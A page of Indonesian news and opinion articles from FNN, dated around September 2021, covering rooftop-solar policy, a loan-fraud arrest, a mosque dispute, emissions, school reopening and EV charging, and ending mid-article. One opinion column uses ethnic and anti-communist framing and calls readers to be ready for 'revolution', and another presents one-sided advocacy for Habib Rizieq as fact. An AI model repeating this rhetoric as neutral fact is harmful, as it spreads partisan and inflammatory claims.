Jakarta, FNN - Sejumlah profesional dan pengamat energi membuat surat terbuka kepada Presiden Joko Widodo agar menunda revisi Permen tentang Pembangkit Listrik Tenaga Surya (PLTS) Atap. Jika revisi tetap dilakukan, maka kerugian PLN akan semakin besar. Tembusan Surat Terbuka yang diterima FNN, dikirim pada 1 September 2021 dan ditandatangani oleh 9 orang, mendesak Presiden sebagai Ketua Dewan Energi Nasional untuk menghentikan proses revisi Permen ESDM tersebut. Seperti diketahui Kementrian ESDM saat ini sedang dalam proses merevisi Permen ESDM No.49/2018 tentang Penggunaan Sistem Pembangkit Listrik Surya Atap oleh Konsumen Perusahaan Listrik Negara untuk yang ketiga. Revisi sebagian ketentuan dalam peraturan tersebut memang akan bermanfaat. Namun ada pula perubahan yang dapat menimbulkan kerugian bagi negara, PLN dan rakyat. Berbagai perubahan yang akan dilakukan meliputi: (1) peningkatan tarif ekspor listrik dari 65% menjadi 100%, (2) kelebihan tabungan listrik dinihilkan diperpanjang, (3) permohonan izin PLTS Atap dipercepat, (4) pelanggan PLTS Atap dapat melakukan perdagangan karbon, (5) sistem operasi menggunakan aplikasi digital, (6) pelayanan berlaku bagi pelanggan non PLN, dan (7) PLN akan menyediakan pusat pengaduan. Dengan revisi tersebut Kementrian ESDM berharap pencapaian target penambahan kapasitas PLTS Atap dan bauran EBT 23% dapat dipercepat. Menurut hemat kami, percepatan penambahan kapasitas PLTS Atap dan bauran EBT 23% bukanlah target yang harus dicapai “at any cost”, tanpa mempertimbangkan berbagai potensi kerugian yang akan timbul. Negara, PLN dan rakyat berpotensi mengalami kerugian, terutama akibat perubahan tarif ekspor listrik dari semula 65% menjadi 100%, seperti diuraikan berikut: 1. Bisnis PLN akan dirugikan karena ketentuan tersebut tidak memperhitungkan susut jaringan dalam proses ekspor (distribusi) listrik. Selain itu, ketentuan tersebut tidak memperhitungkan nilai ekonomi dari fasilitas/infrastruktur yang dibangun oleh PLN dan juga didanai oleh APBN. 2. Motif pemasangan PLTS Atap akan berubah dari semula berdasar green lifestyle menjadi berburu keuntungan bisnis (dalam IPP mikro) tanpa mengikuti kaidah-kaidah bisnis yang berlaku umum. 3. Kewajiban untuk membeli listrik EBT PLTS Atap berpotensi mengganggu cash flow PLN dan menambah beban subsidi listrik di APBN. Masuknya listrik PLTS Atap pada sistem PLN akan meningkatkan BPP listrik secara keseluruhan, yang pada akhirnya akan meningkatkan anggaran subsidi listrik di APBN untuk setiap tahun anggaran. 4. Neraca daya kelistrikan nasional menjadi tidak stabil, terutama karena tidak adanya batasan kapasitas terpasang PLTS Atap. Sehingga hal ini menimbulkan tambahan biaya operasi dan menurunkan efisiensi sistem kelistrikan nasional. 5. Beban keuangan PLN berpotensi bertambah dan semakin memberatkan. Berdasarkan data yang ada, saat ini sistem kelistrikan Jawa-Bali dan Sumatera sedang mengalami kelebihan produksi/oversupply yang cukup besar. Masuknya ekspor listrik PLTS Atap pada kedua sistem kelistrikan tersebut akan meningkatkan oversupply. 6. Beban biaya yang ditanggung PLN akibat oversupply dan kebijakan Take or Pay (TOP) dari proyek pembangkit listrik 35.000 MW yang saat ini sudah mencapai kisaran puluhan atau bahkan ratusan triliun rupiah akan semakin bertambah jika listrik PLTS Atap masuk dalam sistem kelistrikan. 7. Alokasi subsidi listrik di APBN menjadi tidak tepat sasaran. Data KESDM menyebutkan mayoritas pelanggan PLN adalan Non Subsidi 2.200 – 6.600 VA. Pembelian listrik ekspor PLTS Atap akan menambah anggaran subsidi listrik di APBN, namun yang menikmati pelanggan Non Subsidi. 8. Nilai tambah dan manfaat ekonomi PLTS Atap terhadap perekonomian nasional masih relatif kecil. Saat ini TKDN PLTS Atap masih cukup rendah dan belum memenuhi ketentuan regulasi TKDN pemerintah. Manfaat ekonomi pengembangan PLTS Atap akan lebih banyak dinikmati negara produsen solar panel. Sementara Indonesia berpotensi terjebak menjadi pasar dan konsumen teknologi PLTS yang pada akhirnya tidak dapat memanfaatkan potensi green economy yang semestinya dapat menjadi instrumen menuju pencapain Indonesia Emas 2045. Berdasarkan sejumlah catatan di atas, terhadap rencana revisi ketiga Permen ESDM No.49/2018 kami merekomendasikan hal- hal sebagai berikut: 1. Untuk keadilan bagi seluruh pihak terkait, maka ketentuan mengenai tarif ekspor listrik harus dipertahankan pada nilai 65%. 2. Untuk memudahkan perencanaan dan menjaga stabilitas sistem kelistrikan, maka perlu dilakukan pembatasan kapasitas terpasang dan pembelian listrik PLTS Atap sesuai kebutuhan sistem kelistrikan nasional. 3. Mempertimbangkan manfaat dan nilai tambah ekonomi nasional masih rendah, maka pemerintah perlu menunda revisi regulasi sampai industri PLTS di dalam negeri telah siap atau telah dapat memenuhi ketentuan TKDN yang ditetapkan pemerintah. Adapun 9 orang yang menandatangani Surat Terbuka tersebut antara lain: 1. Sofyano Zakaria - Puskepi; 2. Marwan Batubara - IRESS ; 3. Komaidi Notonegoro - Reforminer; 4. Ferdinan Hutahaean - Energy Watch Indonesia ; 5. Defiyan Cory - Ekonom Konstitusi 6. Mamit Setiawan - Energiy Watch ; 7. Salamudin Daeng - AEPI 8. M Kholid Syeirazi - ISNU 9. Abra Talattov - INDEF (sws)

Jaksa Tangkap Buron Kasus Korupsi Penyaluran Kredit Usaha Rakyat

Jakarta, FNN - Hasan, buron kasus korupsi penyaluran fasilitas kredit usaha rakyat (KUR) ditangkap penyidik Kejaksaan Tinggi (Kejati) DKI Jakarta. Koruptor yang sejak 2018 masuk dalam daftar pencarian orang (DPO) itu diciduk petugas di wilayah Cengkareng Timur, Jakarta Barat. “Yang bersangkutan ditetapkan sebagai tersangka berdasarkan surat penetapan tersangka Nomor 08 tertanggal 13 Maret 2018. Ia dan masuk daftar pencarian orang sejak 4 Juli 2018,” kata Asisten tindak pidana khusus (Aspidsus) Kejati DKI Jakarta, Abdul Qohar AF dalam keterangan pers yang disiarkan akun YouTube Kejati DKI Jakarta. Hasan adalahburon kasus korupsi penyaluran fasilitas KUR pada Bank Pembangunan Daerah (BPD) Jawa Timur Cabang Pembantu Wolter Mongonsidi, Jakarta. Kasus Hasan tersebut berawal dari dua orang tersangka lain yang juga sudah ditetapkan sebagai DPO, yakni Ng Sau Ngo dan Heryanto Nurdin mendapat informasi penyaluran fasilitas KUR di BPD Jawa Timur Kantor Cabang Pembantu Walter Mongonsidi Jakarta pada 2011. Kemudian, Hasan menyediakan data fiktif sebanyak 82 calon debitur yang telah direkayasa dengan jumlah plafon masing-masing Rp 500 juta. Lalu, Hasan menyediakan data orang-orang tersebut yang akan diajukan sebagai debitur pemohon KUR di BPD Jatim Wolter Mongonsidi Jakarta atas permintaan dari Heryanto Nurdin. “Data tersebut diserahkan kepada Heryanto Nurdin. Kemudian mengajukan permohonan KUR di BPD Jatim Cabang Jakarta yang seluruhnya berjumlah 82 debitur dengan masing-masing plafon sebesar Rp 500 juta,” tutur Abdul, sebagaimana dikutip dari Antara, Rabu, 1 September 2021. Abdul menjelaskan, dalam mempermudah aksi itu, para tersangka memberikan data palsu itu kepada Riyad Prabowo Edy guna pembuatan administrasi kredit kepada paracalon debitur. Saat itu Riyad menjabat sebagai Analis Kredit BPD Jawa Timur. Guna mempermudah transaksi keuangan dan penemuan uang yang diperoleh dari 82 debitur KUR, kata Abdul, tersangka menggunakan rekening atas nama Radiman Raidit dan Marlian yang dikuasai oleh Ng Sau Ngo yang saat ini masih DPO. “Atas kemajuan KUR pada BPD Jawa Timur Cabang Wolter Mongondisi Jakarta atas nama 82 debitur, kredit dimaksud dinyatakan macet oleh pihak BPD Jatim tahun 2012-2013 sehingga mengalami kerugian sebesar Rp 41 miliar ,” ungkap Abdul. Atas perbuatannya itu, tersangka dijerat dengan Pasal 2, Pasal 3 juncto Pasal 19 Undang-Undang Nomor 31 Tahun 1999 sebagaimana telah diubah dengan Undang-Undang Nomor 20 Tahun 2001 tentang perubahan atas Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi juncto Pasal 55 ayat 1 KUHP. (MD).

Tokoh Tionghoa Sesalkan Sikap Etnis Cina yang Sebarkan Ujaran Kebencian

Jakarta, FNN – Sikap sekelompok warga Tionghoa yang menentang pembangunan Masjid At-Tabayyun, di Taman Vila Meruya (TVM), Jakarta Barat sangat disesalkan. Apalagi, diikuti dengan dugaan ujaran kebencian yang beredar di grup WhatsApp (WA) warga setempat. “Sebagai orang Tionghoa, saya menyayangkan sikap warga Tionghoa di TVM. Sebab hal itu bukan cuma soal bunyi spanduk dan poster-poster penolakan. Atau juga kata-kata bernada provokatif dan ejekan seperti Kadrun, Gakbener, dan lain-lain yang beredar di grup WA warga TVM itu. Akan tetapi, sudah menyangkut etika orang Tionghoa,” kata tokoh Tionghoa Lieus Sungkharisma dalam siaran persnya yang diterima FNN.co.id, di Jakarta, Selasa, 30 Agustus 2021. Sebagaimana diberitakan sebelumnya, saat peletakan batu pertama pembangunan masjid yang dilakukan Gubernur DKI Jakarta, Anies Baswedan, sejumlah nonmuslim turunan Tionghoa atau Cina melakukan aksi unjuk rasa. Mereka membentangkan spanduk yang bertuliskan penolakan terhadap pembangunan masjid di perumahan elite itu. Seusai acara, Anies malah menyambangi perwakilan pengunjuk raya yang berada di luar pagar fasilitas sosial yang dijadikan area pembangunan masjid. Terlihat Anies santai meladeni pernyataan yang disampaikan perwakilan warga nonmuslim itu. Lucunya, seusai berdialog, mereka meminta foto bersama Anies. Sang gubernur pun dengan senyum meladeni permintaan tersebut. Sejatinya orang Tionghoa itu sangat menjaga etika dalam kehidupan bermasyarakat. “Tidak pernah ada sejarahnya orang Tionghoa di Indonesia yang menolak pembangunan rumah ibadah umat agama lain,” kata Lieus Karena itulah Lieus sangat menyesalkan dan tidak bisa mengerti kenapa ada sekelompok warga Tionghoa di TVM yang berunjukrasa dan menolak pembangunan masjid di tempat itu. “Saya khawatir sikap warga Tionghoa itu ada yang mensponsorinya,” kata Lieus. “Meski warga Tionghoa di TVM mayoritas, bukan berarti warga muslim yang minoritas tidak boleh membangun rumah ibadahnya di situ. Apalagi, mereka sudah mengantongi izin dari FKUB (Forum Kerukunan Umat Beragama dan dari Pemprov DKI,” kata Lieus. Leuis memuji sikap Anies yang terbuka dan tidak diskriminatif. Seharusnya, warga TVM meminta waktu khusus berdialog dengan Anies. Bukan malah menyebarkan kata-kata Gakbener atau Kadrun di grup WA-nya,” kata Lieus. Apalagi, tambah Lieus, secara hukum pembangunan masjid itu tidak bermasalah. “Kalau hanya karena lokasi atau masalah teknis lainnya, kan bisa dibicarakan baik-baik saja. Tidak perlu sampai berunjukrasa yang menimbulkan kesan orang-orang Tionghoa sekarang makin ngelunjak,” kata Lieus. Ia berpendapat, unjukrasa penolakan sekelompok orang yang menolak pembangunan masjid di TVM akan berimplikasi luas terhadap orang Tionghoa lainnya. “Ini akan semakin menguatkan anggapan bahwa orang Tionghoa itu eksklusif, arogan, tidak toleran dan tidak mau membaur. Anggapan seperti itu akan membahayakan bagi orang-orang Tionghoa lain di luar TVM,” kata Lieus. Karena itulah Lieus meminta warga Tionghoa di TVM lebih mengutamakan dialog ketimbang mengedepankan ego pribadi. Apalagi sampai mengeluarkan kata-kata yang menyinggung perasaan dan berpotensi memicu perpecahan. (FNN).

Waspada Proxy War

Oleh Sugengwaras Bangsaku bangsaku, bangsamu bangsamu (China), Agamaku agamaku, agamamu agamamu (Islam). Proxy war (perang non militer) tidak kalah bahayanya dibanding perang fisik bersenjata ! Ini dulu sering disinggung dan diingatkan oleh para tokoh militer Indonesia, termasuk Jendral Gatot Nurmantyo , namun tak kurang yang menganggap abal abal dan mencari sensasi Tahun 2001 saat saya sebagai Kepala Departemen Operasi yang juga sebagai Dosen Sesko TNI, bersama siswa Sesko TNI dan rombongan, mengadakan kunker / studi banding ke Vietnam (Selatan). Layaknya kunker kunker ke negara negara lain, sudah ada kordinasi sebelumnya antar negara terkait agenda / susunan acara selama kunker. Tapi menjadi luar biasa saat kunker ke Vietnam ini ada acara yang diluar apa yang telah dikordinasikan sebelumnya, dimana pihak Vietnam dengan hormat mohon kesediaan Indonesia untuk bisa memenuhi acara ini. Sebagai tamu dan demi nama bangsa Indonesia ketua tim kami, LetJen JS menyetujui dan mempersilahkan delegasi Vietnam untuk mengatur dan memulai acara tersebut ( acara tanya jawab, di forum formal, diluar dugaan kita, yang tidak biasa dilakukan di negara negara lain). Salah satu pertanyaan yang cukup menggigit adalah pertanyaan dari seorang Jendral Vietnam yang secara vulgar menanyakan tentang bagaimana pandangan Indonesia terhadap Vietnam, apakah tergolong sebagai musuh? Menyikapi pertanyaan ini, Jendral JS, ketua tim delegasi Indonesia, dengan hati hati tapi penuh wibawa menunjuk ke saya untuk menjawab pertanyaan jendral Vietnam itu (saya yang ketiban sampur, membenarkan strategi Letjen JS yang menunjuk saya untuk meladeni Jendral Vietnam itu, karena di samping sebagai KADEPOP juga dalam keadaan pangkat saya Kolonel / Pamen, sehingga ada alasan memaklumi ika ada kurang tepatnya menjawab Esensi jawaban saya : Indonesia menyadari letak geografi dan geostrategi serta bentuk fisik negara kepulauan yang banyak celah dan kerawanan, yang terdiri dua pertiga lautan dan sepertiga daratan, dengan mayoritas populasi penduduk di P Jawa Oleh karenanya, Indonesia telah merumuskan kunci kunci jawaban untuk mencegah, menangkal dan menyelesaikan, jika terjadi infiltrasi atau invasi atau kombinasi keduanya, baik secara fisik maupun non fisik, kapanpun, dari manapun, bagian manapun, di mana pun, dalam bentuk apapun dan kekuatan seberapapun, mulai dari kawasan udara, laut hingga menyentuh ujung paling luar daratan, untuk menggagalkan, menghancurkan dan meniadakan bahaya / ancaman nyata dari musuh Ini penting, tapi lebih penting bangsa Indonesia akan senantiasa menciptakan, menjaga dan memelihara perdamaian, persahabatan, persaudaraan dan kenyamanan kesemua negara dan bangsa disekitar keliling Indonesia, termasuk Negara Vietnam Jadi dari pandangan kami bangsa / NKRI, Vietnam adalah tetangga kami, saudara kami dan sahabat kami, untuk menatap masa depan dunia yang lebih baik ! Entah salah atau benar, yang penting sudah saya laksanakan perintah atasan saya untuk menjawab pertanyaan Jendral Vietnam itu Diluar dugaan, setelah penerjemah mengakhiri penjelasanya kepada audensi, terdengar tepuk tangan meriah dari kedua belah pihak, Indonesia dan Vietnam,disertai jabatan erat dan rangkul rangkulan selesai acara pokok... Saudara saudaraku sebangsa dan setanah air, bukan watak dan karakter saya untuk pamer atau narsis tentang kejadian kecil ini Saya bermaksud untuk mengambil hikmahnya karena bagi orang orang yang lebih mengerti dan lebih tahu, jawaban tadi monoton, tidak relevan dan tidak berlaku untuk saat ini, dianggap usang, kuno ketinggalan kereta api, ketinggalan jaman, tidak tahu perkembangan dan dinamika peradaban dunia saat ini Apalagi jika disinggung masalah bahaya laten komunis kebanyakan akan menganggap preettt... Marilah kita bersikap, mantan PKI dan anak cucunya, harus kita bina dan arahkan, manfaatkan, jangan terus dicurigai apalagi didiskriminasi, namun tetap waspada, karena pihak ketiga apalagi yang berideologi komunis maupun seolah berpindah haluan kapitalis, yang senantiasa ingin melemahkan dan menghancurkan NKRI melalui landasan, doktrin, ideologi dan pandangan hidup bangsa Indonesia PANCASILA, dengan cara menggerigit sedikit demi sedikit, mengoyak, merobek lewat Undang Undang, perpu atau tindakan tertutup dan terbuka seperti membuat gaduh, kebohongan, penjungkirbalikan fakta sejarah, penghasutan, pengelabuhan, diskriminasi, kriminalisasi maupun adu domba serta pecah belah umat Islam, karena mau tidak mau, suka tidak suka umat Islam adalah aset terbesar NKRI Bisa jadi, kasus Mohamad Kece, ustad Waloni dan ustad UAS merupakan bagian dari skenario ini Apalagi HRS, solidaritas sesama WNI untuk kebenaran dan keadilan harus kita tunjukkan Tidak ada hakim yang kuat, tidak ada pemerintahan yang kuat, kecuali yang jujur, benar dan adil, bersama sama rakyat ! Rumus saya hanya satu...jika pihak lain masih mau mendengar, melihat dan merasakan sesuatu yang jujur, benar dan adil, layak kita hormati Namun jika sudah berpikiran dan bertindak bak IBLIS, harus kita imbangi dan lawan bak MEMBASMI IBLIS ! Jika cara cara hukum, tulisan dan tindakan tindakan konstitusi tetap diabaikan, kita harus siap REVOLUSI...!!! Oleh karenanya, saya menghimbau, semua saudara saudaraku, apapun suku dan agamamu, waspada dan hati hatilah, tetap pelihara kesatuan dan persatuan bangsa, jangan terpengaruh atau terhasut hal hal yang tidak jelas yang dapat merugikan orang lain dan diri sendiri, dalam bingkai Bhineka Tunggal Ika yang berlandaskan Pancasila yang dikumandangkan 18 Agustus 1945 MERDEKA....!!! Penulis adalah Purn. TNI AD, Panglima TRITURA, Ketua DPD APIB Jabar, Pengaping / Pembina KAMI Jabar, Pemerhati Pertahanan dan Keamanan NKRI.

Antara Habib Rizieq dan Pinangki, Keadilan Suka-suka yang Dipertontonkan

Oleh Ady Amar *) AKHIRNYA Pengadilan Tinggi (PT) DKI Jakarta, menguatkan putusan PN Jakarta Timur kepada Habib Rizieq Shihab, yaitu hukuman 4 tahun penjara, Senin, 30 Agustus. Itu berkaitan dengan perkara tes swab RS Ummi Bogor. Habib Rizieq dianggap bohong karena mengatakan dirinya sehat, dan karenanya menimbulkan keonaran. Putusan PT DKI Jakarta itu tidak terlalu mengejutkan, sepertinya sudah seharusnya diberikan pada Habib Rizieq. Sehingga suara PN Jakarta Timur dan PT DKI Jakarta seperti koor saja. Pokoknya ia harus dihukum, dan itu 4 tahun. Jika lalu orang berasumsi, itu agar pelaksanaan Pilpres 2024 tidak "direcoki" manusia satu ini, itu pun tidak salah. Mengadangkan dalam sel Habib Rizieq sampai Pilpres berlangsung, itu kesan yang ditangkap publik. Keonaran apa yang ditimbulkan Habib Rizieq dengan bohong atas kesehatannya, itu tidak ada yang bisa membuktikan. Pokoknya tuduhan ada keonaran yang ditimbulkan, dan jaksa penuntut umum (JPU) bisa leluasa menjerat dengan pasal tuntutan memberatkan, 6 tahun. PN Jakarta Timur memvonis 4 tahun penjara, lalu dikuatkan PT DKI Jakarta dengan vonis yang sama. Bohong dengan menyatakan diri sehat, yang kemudian hasil tes swab PCR positif Covid-19, itu tidak dapat dikatakan bohong. Saat itu Habib Rizieq merasa sehat, maka ia katakan sehat, itu sebelum hasil tes keluar. Dan setelah hasil tes keluar dan positif, maka ia melakukan isoman di rumah. Bohong itu jika hasil tes sudah keluar dan jelas hasilnya positif, tapi ia mengatakan sehat, maka itu disebut bohong. "Bohong" yang tidak dapat dikatakan bohong, itu sebenarnya pintu masuk saja untuk memenjarakannya. Ditambah tuntutan bohong yang menimbulkan keonaran, itu agar majelis hakim bisa memvonis seberat-beratnya. Jadi, sekali lagi, tidak ada yang aneh. Itu hal yang memang sepertinya sudah "ditetapkan", agar hukuman tetap ditetapkan 4 tahun penjara. Hukuman itu diberikan untuk perbuatan yang tidak diperbuat Habib Rizieq. Tidak bohong tapi nalar publik dipaksa untuk menganggap ia berbohong, dan juga tidak ada keonaran, tapi lagi-lagi itu mesti dianggap ada keonaran yang ditimbulkan. Hukum suka-suka pada Habib Rizieq Shihab terang benderang ditampakkan, dan itu mencederai rasa keadilan. Manusia satu ini seolah manusia berbahaya, dan karenanya harus dipenjara meski tanpa kesalahan. Habib Rizieq Shihab, lewat pengacaranya melakukan kasasi ke Mahkamah Agung (MA). Kita lihat saja nanti, apakah MA akan membebaskannya karena ia tidak terbukti bersalah, atau... Istimewanya Pinangki Ada tiga tuntutan pada jaksa Pinangki Sirna Malasari. Ia terpidana kasus suap, melakukan tindak pidana pencucian uang, dan melakukan permufakatan jahat dalam perkara pengurusan fatwa bebas untuk Djoko Tjandra. Majelis Hakim Pengadilan Tindak Pidana Korupsi (Tipikor), menjatuhkan vonis 10 tahun, dari tuntutan JPU yang 4 tahun. (Bandingkan kasus Habib Rizieq Shihab pada perkara "bohong" dan "keonaran" yang tidak terbukti, itu dituntut JPU 6 tahun). Pinangki memang terpidana istimewa. Meski perbuatannya perbuatan nista berat, ia tetap diistimewakan dengan suka-sukanya pengadilan. Ia yang semula divonis majelis hakim Pengadilan Tipikor Pusat 10 tahun penjara, melakukan banding pada PT DKI Jakarta. Maka PT DKI Jakarta memberinya korting 6 tahun. Hukumannya ditetapkan jadi 4 tahun. Alasannya, karena yang bersangkutan masih punya anak kecil. Kok enak .tenan. Dan JPU tentu tidak berkehendak kasasi ke MA, karena terpidana mendapat keistimewaan pemotongan hukuman luar biasa. JPU tampak "melindungi" garong Pinangki, yang sesama korps Adhyaksa. Jika orang lalu membandingkan "kesalahan" tidak bersalah Habib Rizieq itu dengan garong Pinangki, yang sama-sama divonis PT DKI Jakarta 4 tahun penjara. Maka keduanya mustahil bisa diperbandingkan, kecuali pada hukumannya yang sama-sama sesuka-sukanya. Tapi yang pasti keduanya memang sama-sama ditarget. Yang satu (Habib Rizieq Shihab) ditarget hukuman berat meski ia tidak melakukan kesalahan. Dan satunya lagi (Pinangki) meski garong, ia ditarget dengan hukuman seringan mungkin. Garong memang tampak dimuliakan, itu terbukti dengan kasus Pinangki. Sedang penegak amar ma'ruf nahi munkar, semacam Habib Rizieq, itu seolah musuh yang mesti dipenjarakan. Masih berharap pada MA? Tentu berharap keadilan akan diputus MA atas kasus Habib Rizieq Shihab dengan putusan pembebasannya. Optimistis dalam mencari keadilan atas kasus Habib Rizieq, ini mesti terus diikhtiarkan. Tidak perlulah umat terlampau larut dalam kesedihan panjang atas putusan PT DKI Jakarta. Mengetuk pintu langit wajib terus digelorakan, agar bantuan-Nya segera ditampakkan. Kita semua jadi saksi atas pengadilan sesat yang terus dimunculkan, yang itu pantas diakhiri dengan campur tangan Tuhan. Meminta Tuhan ikut hadir, itu sebuah pengharapan tidak sia-sia, bahkan seharusnya. (*) *) Kolumnis

Komisi Ekonomi PBB Ingatkan Indonesia untuk Turunkan Emisi Karbon

Jakarta, FNN - Sekretaris Eksekutif Komisi Ekonomi dan Sosial Perserikatan Bangsa-Bangsa (UN ESCAP) untuk wilayah Asia Pasifik Armida Alisjahbana meminta Indonesia untuk menurunkan emisi karbon agar dapat memenuhi target net zero carbon emission pada 2050 mendatang. “Harapan kami dari PBB, Indonesia bisa mengarah kepada pencapaian target tersebut,” kata Armida dalam Pembukaan Kongres ISEI XXI secara daring di Jakarta, Selasa. Menurutnya, Indonesia perlu menerapkan kebijakan perekonomian hijau yang resilien, inklusif, dan berkelanjutan. Untuk itu, Indonesia perlu terlebih dahulu membuat satu konsep besar yang akan diterapkan secara serentak oleh setiap kementerian dan lembaga nasional. Untuk perekonomian yang lebih berkelanjutan, ia menyarankan pemerintah melanjutkan dalam jangka panjang kebijakan penanganan COVID-19. Di samping itu, pemerintah juga perlu memasukkan keberlanjutan lingkungan ke dalam proses dan analisis investasi. “Pemerintah juga mesto mengakselerasi investasi publik yang hijau, termasuk dalam energi bersih dan infrastruktur yang resilien terhadap perubahan iklim. Selanjutnya, pemerintah harus melindungi dan memulihkan keanekaragaman hayati,” tambah Armida. Untuk membuat pertumbuhan ekonomi yang lebih inklusif, menurutnya pemerintah Indonesia mesti memastikan keberlanjutan dukungan fiskal bagi kelompok masyarakat rentan dan kelompok bisnis kecil yang paling terdampak COVID-19, sampai pertumbuhan ekonomi yang kokoh tercapai “Selanjutnya pemerintah juga mesti memastikan pemulihan dipimpin oleh penciptaan lapangan kerja dengan mendukung pemulihan pasar tenaga kerja, berinvestasi di industri strategis, dan berinvestasi di infrastruktur fisik dan sumber daya manusia,” kata Armida. Sementara itu, untuk perekonomian yang lebih resilien, ia menyarankan pemerintah memperkuat rantai pasok dan konektivitas, termasuk melalui kerja sama internasional. Selanjutnya pemerintah juga sebaiknya mempromosikan transformasi digital secara terus-menerus, mendiversifikasi sektor ekonomi, mendorong sektor bernilai tambah tinggi untuk mendapatkan pasar yang lebih luas, serta mempersiapkan kemungkinan perubahan rantai pasok global dengan mendiversifikasi pasar ekspor. (mth)

Uji Coba PTM di Madrasah Telah Dilakukan Sejak 10 Agustus

Jakarta, FNN - Direktur Kurikulum, Sarana, Kelembagaan dan Kesiswaan (KSKK) Kementerian Agama M. Ishom Yusqi menyatakan bahwa pihaknya sudah siap menggelar Pembelajaran Tatap Muka (PTM), setelah melakukan uji coba sejak 10 Agustus. "Uji coba tersebut sekaligus sebagai upaya persiapan pelaksanaan PTM Terbatas pada beberapa madrasah di setiap provinsi," ujar Ishom dalam keterangan tertulis yang diterima di Jakarta, Selasa. Ishom menjelaskan presentasi madrasah yang telah melakukan uji coba PTM sekitar 18 persen dan tersebar pada 34 provinsi. Penyelenggaraan Uji Coba PTM madrasah didasarkan atas Surat Edaran Dirjen Pendidikan Islam Kementerian Agama tertanggal 10 Agustus 2021. Adapun uji coba PTM diprioritaskan madrasah yang telah memiliki kesiapan belajar sebagaimana yang telah ditetapkan pada SKB Empat Menteri; Mendikbud, Menteri Agama, Menteri Dalam Negeri, dan Menteri Hukum dan HAM. "Dalam ketentuan itu prinsip utama, keselamatan dan kesehatan warga madrasah merupakan hal yang menjadi acuan utama. Selanjutnya secara teknis ditunjukkan dengan penegakan prokes secara disiplin," kata dia. Dari data yang dihimpun dari laman Kemendikbud, total sekolah yang berada di bawah kewenangan Kemenag dan telah menjalani proses pembelajaran tatap muka yang dimulai sejak Senin (30/8) sebanyak 4.383 sekolah. Adapun rinciannya, Raudhatul Atfal 721 sekolah, 1.469 Madrasah ibtidaiyah, 1.395 Madrasah Tsanawiyah, dan 798 Madrasah Aliyah/kejuruan atau baru 5,17 persen dari total 84.720 sekolah di berbagai tingkatan. Sementara itu, Menteri Agama Yaqut Cholil Qoumas menyatakan PTM bagi sekolah di bawah kewenangan Kemenag mesti mengantongi izin dari Gugus Tugas Penanganan COVID-19 daerah setempat. Ketentuan itu memang tidak tercantum dalam Surat Keputusan Bersama (SKB) Empat Menteri yang berbunyi pelaksanaan PTM dapat dilakukan pada satuan pendidikan di wilayah PPKM level 1-3. "Kami bersepakat di SKB ini, untuk melaksanakan PTM terbatas. Namun di Kemenag kami menambahkan satu poin, pelaksanaan PTM terbatas ini harus melalui izin dari gugus tugas setempat. Kepala daerah dan gugus tugas COVID-19 setempat jadi mungkin ini tidak tercantum di SKB empat menteri tersebut ini kita tambahkan sendiri," ujar Menag Yaqut saat menggelar rapat bersama Komisi VIII DPR. Sementara untuk satuan pendidikan di wilayah PPKM level 4 mesti menunda PTM dan tetap melaksanakan pembelajaran jarak jauh (PJJ) hingga wilayah tersebut masuk PPKM level 3. "Kemudian satuan pendidikan di wilayah PPKM level 4 tetap melaksanakan PJJ tidak boleh dengan PTM terbatas. Pelaksanaan PTM terbatas dilaksanakan tetap sesuai SKB empat menteri," katanya. Direktur Jenderal Pendidikan Islam Kemenag M. Ali Ramdhani menjelaskan vaksinasi untuk guru RA dan Madrasah terus berjalan. Ada 395.592 guru yang sudah divaksin atau 52 persen, sedangkan 371.130 guru atau 48 persen lainnya masih menunggu giliran. Dia merinci dari total 767.722 terdiri atas 100.967 guru RA, 272.367 guru MI, 260.669 guru MTs, dan 133.719 guru MA. (mth)

EVCuzz Targetkan Bangun 70 SPKLU di Indonesia Tahun Ini

Jakarta, FNN - Perusahaan yang bergerak di bidang pengisian daya kendaraan listrik (EV) EVCuzz menargetkan untuk memasang sebanyak 70 titik lokasi Stasiun Pengisian Kendaraan Listrik Umum (SPKLU) meliputi AC Charging kapasitas AC7kW dan AC22kW di tahun 2021. "Pada tahun 2022 dan tahun-tahun berikutnya penambahan 100 titik lokasi setiap tahunnya hingga 2025. Pada tahun 2026 hingga 2030, EVCuzz merambah EVC mesin kapasitas besar mulai DC40kW, 50kW, 80kW, 120kW hingga 350kW sebagaimana yang telah dituangkan dalam rencana aksi kepada Kementrian ESDM," kata Founder & CEO EVCuzz Charging Network, Abdul Rahman Elly, dalam jumpa pers daring, Selasa. EVCuzz dengan perseroannya PT Exelly Elektrik Indonesia, sebagai provider dan operator SPKLU yang mendapatkan izin resmi SPKLU dari pemerintah dalam hal ini Kementrian ESDM turut berpartisipasi untuk memperkuat infrastruktur tersebut. Elly mengatakan, pihaknya masih berfokus pada Jawa dan Bali, namun tak menutup kemungkinan untuk memperluasnya hingga pulau-pulau lain di Indonesia. "Konsentrasi pertama masih di Jawa dan Bali, tapi, tidak menutup kemungkinan untuk permintaan di luar Jawa dan Bali, karena produsen mobil sudah kirim produknya ke Medan, Manado, Makassar, dan lainnya. Namun, untuk saat ini, Jawa dan Bali pasarnya paling besar," kata dia. Ia juga berharap kehadiran stasiun pengisian daya listrik ini bisa semakin mempermudah dan memasyarakatkan kendaraan listrik di Indonesia. "Pada akhirnya mereka pengguna EV pada saat mau melakukan pengecasan terbiasa dengan ‘mau nge-cuzz’ dimanapun, kapanpun lewat applikasi yang diunduh di AppStore dan PlayStore. EVCuzz App dibuat menarik, memberikan kemudahan dalam penggunaannya dengan banyak program promosi yang ditawarkan," kata Elly. Melalui aplikasi ini, pengguna bisa dengan mudah mencari titik lokasi pengisian daya terdekat, pindai (scan) kode batang (barcode) untuk pengecasan dengan hitungan KwH terpakai. Setelah itu, pengguna bisa melihat transaksi di histori, invoice instan terkirim ke email, top up dana melalui bank besar nasional dan merchant yang bekerja sama dengan EVCuzz. Elly mengatakan, Indonesia mengalami pertumbuhan kendaraan listrik yang pesat. Pertumbuhan ini pun didukung oleh Peraturan Presiden Nomor 55 Tahun 2019 yang menempatkan stimulasi pasar kendaraan listrik di samping efisiensi dan keamanan energi dan kualitas udara bersih. "Dengan adanya peraturan tersebut membawa angin segar, sehingga pertumbuhan mobil listrik terus meningkat dan akan mencapai 20 persen di tahun 2025, hingga mencapai 80 persen di tahun 2030," ujarnya. "Pertumbuhan mobil listrik tidak terlepas dari infrastruktur charging untuk umum atau SPKLU yang mana secara statistik Indonesia, khususnya pulau Jawa dan Bali membutuhkan 430 ribu lokasi pengecasan mulai tahun ini hingga 2030 mendatang baik yang berlokasi di 